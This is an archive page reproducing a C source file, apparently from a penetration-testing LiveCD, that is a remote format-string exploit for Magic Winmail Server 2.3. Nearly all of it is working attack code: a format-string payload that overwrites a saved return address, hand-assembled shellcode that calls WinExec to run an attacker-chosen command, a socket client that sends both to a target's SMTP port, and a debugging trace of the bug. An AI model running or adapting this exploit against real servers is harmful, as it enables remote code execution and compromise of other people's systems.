home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / winmail / mwmxploit.c < prev   
C/C++ Source or Header  |  2005-02-12  |  7KB  |  202 lines

  1. /******************************************
  2.  * Magic Winmail Server 2.3(Build 0402) 
  3.  * Remote Format string exploit.
  4.  ******************************************
  5.  * Discovered by D4rkGr3y
  6.  * http://www.securityfocus.com/bid/7667/
  7.  * ---------------------------------------
  8.  * Coded by ThreaT.
  9.  * ThreaT@Ifrance.com
  10.  * ---------------------------------------
  11.  *
  12.  * This is the remote format string exploit
  13.  * for Magic Winmail Server 2.3(Build 0402)
  14.  *
  15.  * This one take advantage of a format bug in the 
  16.  * >>> SMTP protocol <<< (not pop3) for execute
  17.  * a malicious command on a vulnerable system
  18.  *
  19.  * usage : mwmxploit <Target IP> <command to execute remotely> [smtp port]
  20.  * + The command to execute cannot exceed 90 characters +
  21.  *
  22.  * compile : cl.exe mwmxploit.c /w
  23.  *
  24.  ********************************************
  25.  le piratage c'est mal; et quand c'est mal, c'est pas bien.
  26. */
  27.  
  28.  
  29. #include <windows.h>
  30. #include <winsock.h>
  31.  
  32. #pragma comment (lib,"wsock32.lib")
  33.  
  34. void main (int argc, char *argv[])
  35. {
  36.  
  37.     SOCKET sock;
  38.  
  39.     char buffer[1000];
  40.     int i;
  41.  
  42.     // ecrasement d'un saved EIP grce aux caractres de format :)
  43.     char vuln[] =         
  44.         "\xec\xfc\x66\x01%x%x"
  45.         "\xed\xfc\x66\x01%x%x"
  46.         "\xee\xfc\x66\x01"
  47.         
  48.         "%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%28x%n"
  49.         "%97x%n%105x%hn"
  50.  
  51. /*
  52.  
  53.   This is my specific shellcode for execute a command
  54.   over the Magic Winmail process.
  55.  
  56.   This one can contain null bytes, enjoy ! :)
  57.  
  58. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  59. Disassembly of File: mailserver.exe
  60. Code Offset = 00001000, Code Size = 000CF000
  61. Data Offset = 000EC000, Data Size = 0002E000
  62. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  63.  Reference To: KERNEL32.GetModuleHandleA, Ord:0000h
  64. :004B8850 FF15AC014D00            Call dword ptr [004D01AC]
  65.  
  66.  Reference To: KERNEL32.ExitProcess, Ord:0000h
  67. :004B88C6 FF1598014D00            Call dword ptr [004D0198]
  68.  
  69.  Reference To: KERNEL32.GetProcAddress, Ord:0000h
  70. :00406CE7 8B3DEC004D00            mov edi, dword ptr [004D00EC]
  71. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  72.  
  73.   //////////////////////// My shellcode \\\\\\\\\\\\\\\\\\\\\\\\\\
  74.  
  75. : EB50                    jmp 00401058
  76. : 5E                      pop esi
  77. : 8BEC                    mov ebp, esp
  78. : 83EC28                  sub esp, 00000028        // je cree un stack de bourrin
  79. : C745D84B65726E          mov [ebp-28], 6E72654B
  80. : C745DC656C3332          mov [ebp-24], 32336C65 // j'y place 'Kernel32'
  81. : C745E000000000          mov [ebp-20], 00000000
  82. : C745E457696E45          mov [ebp-1C], 456E6957
  83. : C745E878656300          mov [ebp-18], 00636578 // ici 'WinExec'
  84.  
  85. // adaptez le shellcode en virant cette ligne si vraiment vous avez besoin 
  86. // de 4 caractres de plus pour la commande  executer
  87. : C645EB00                mov [ebp-15], 00
  88.                                         
  89. : BAAC014D00              mov edx, 004D01AC
  90. : 8D45D8                  lea eax, dword ptr [ebp-28]
  91. : 50                      push eax
  92. : FF12                    call dword ptr [edx]    // eax = GetModuleHandle ("Kernel32");
  93. : 8D5DE4                  lea ebx, dword ptr [ebp-1C]
  94. : 53                      push ebx
  95. : 50                      push eax
  96. : BAEC004D00              mov edx, 004D00EC
  97. : FF12                    call dword ptr [edx]    // GetProcAdress (eax, "WinExec");
  98. : 6A01                    push 00000001            // 1 = SW_SHOW, 0 = SW_HIDE :)
  99. : 56                      push esi
  100. : FFD0                    call eax                // WinExec (argv[2], SW_SHOW)
  101. : BA98014D00              mov edx, 004D0198
  102. : FF12                    call dword ptr [edx]    // ExitProcess ();
  103. : E8ABFFFFFF              call 00401008    
  104.  
  105.   \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ EOF /////////////////////////////////
  106.  
  107.   */
  108.     
  109.  
  110. // Generated by Hex Workshop
  111. // shellcode.exe - Starting Offset: 4102 (0x00001006) Length: 87 (0x00000057)
  112.  
  113.     "\x00\x90\x90\x90\x90"    // sa, c'est pour bien coller
  114.     "\xEB\x50\x5E\x8B\xEC\x83\xEC\x28\xC7\x45\xD8\x4B\x65\x72\x6E\xC7" 
  115.     "\x45\xDC\x65\x6C\x33\x32\xC7\x45\xE0\x00\x00\x00\x00\xC7\x45\xE4" 
  116.     "\x57\x69\x6E\x45\xC7\x45\xE8\x78\x65\x63\x00\xC6\x45\xEB\x00\xBA" 
  117.     "\xAC\x01\x4D\x00\x8D\x45\xD8\x50\xFF\x12\x8D\x5D\xE4\x53\x50\xBA" 
  118.     "\xEC\x00\x4D\x00\xFF\x12\x6A\x01\x56\xFF\xD0\xBA\x98\x01\x4D\x00" 
  119.     "\xFF\x12\xE8\xAB\xFF\xFF\xFF";
  120.  
  121.     SOCKADDR_IN sin;
  122.     WSADATA wsadata;
  123.     WORD wVersionRequested = MAKEWORD (2,0);
  124.  
  125.     // sa, c'est pour ce la pter
  126.     printf ("* #################################### *\n"
  127.         "  Magic Winmail Server 2.3(Build 0402)\n"
  128.         "     Remote format string exploit !\n"
  129.         "* #################################### *\n"
  130.         "  Coded By ThreaT -> ThreaT@Ifrance.com\n\n");
  131.  
  132.     if (argc < 3 || strlen (argv[2]) > 90)
  133.     {
  134.         printf ("usage : mwmxploit <Target IP> <command to execute remotely> [smtp port]\n\n"
  135.             " + The command to execute cannot exceed 90 characters +\n");
  136.         ExitProcess (0);
  137.     }
  138.  
  139.     if ( WSAStartup(wVersionRequested, &wsadata) )
  140.     {
  141.         printf ("Erreur d'initialisation winsock !\n");
  142.         ExitProcess (1);        
  143.     }
  144.  
  145.     sin.sin_family = AF_INET;
  146.     sin.sin_port = htons ((void *)argv[3] ? atoi (argv[3]) : 25);
  147.     
  148.     if ( (sin.sin_addr.s_addr = inet_addr (argv[1])) == INADDR_NONE)
  149.     {
  150.         printf ("Erreur : L'adresse IP de la victime est incorrect !\n");
  151.         ExitProcess (2);
  152.     }
  153.  
  154.     printf ("connecting to %s on port %u...", argv[1], ntohs ( sin.sin_port ) );
  155.  
  156.     sock = socket (AF_INET, SOCK_STREAM, 0);
  157.     if ( connect (sock, (SOCKADDR *)&sin, sizeof (sin)) )
  158.     {
  159.         printf ("erreur : connexion impossible !\n");
  160.         ExitProcess (3);
  161.     }
  162.  
  163.     recv (sock,buffer,1000,0);
  164.     
  165.     printf ("ok\n-> %s\nsending exploit code...",buffer);
  166.  
  167.     send (sock, vuln, strlen (vuln) + 92, 0);  // envoi du shellcode
  168.     send (sock, argv[2], strlen (argv[2]), 0); // envoi de la commande
  169.     send (sock, "\r\n", 2, 0); // validation
  170.  
  171.     recv (sock,buffer,1000,0); // remote crash :)
  172.  
  173.     puts ("ok");
  174. }
  175.  
  176. /*
  177.  
  178.   Esprit curieux, tu te demande sur quoi je me suis bas pour pisser
  179.   ce bout de code hideux ?
  180.  
  181. D:\toolz\netcat>nc 127.0.0.1 25
  182. 220 M1 Magic Winmail Server 2.3(Build 0402) ESMTP ready
  183. AAAA 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8
  184. x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0
  185. x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x
  186. 502 unimplemented (#5.5.1)
  187.  */
  188.  
  189. /*
  190. D:\>type "c:\Program Files\Magic Winmail\server\logs\smtp.log"
  191. 0906/Y-01:50:30   1548 Connect from 127.0.0.1
  192. 0906/Y-01:51:06   1584 unrecognized command = AAAA 0x00498f71 0x0176fd10 
  193. 0x0176fe3c 0x000000eb 0x0176ff80 0x00ee6c80 0x00000050 0x00ee60d9 0x00000102 
  194. 0x0000011f 0x00000050 0x00eecf71 0x0000001c 0x0000001f 0x0176ff74 0x004cd2c0 
  195. 0x00000001 0x00493e40 0x0176fd50 0x00000000 0x00ee5ea8 0x00ee5ea8 0x41414141 
  196. 0x25783020 0x2078382e 0x2e257830 0x30207838 0x382e2578 0x78302078 0x78382e25 
  197. 0x25783020 0x2078382e 0x2e257830
  198.  
  199.   voila, tout est la :)
  200.  
  201. */
  202.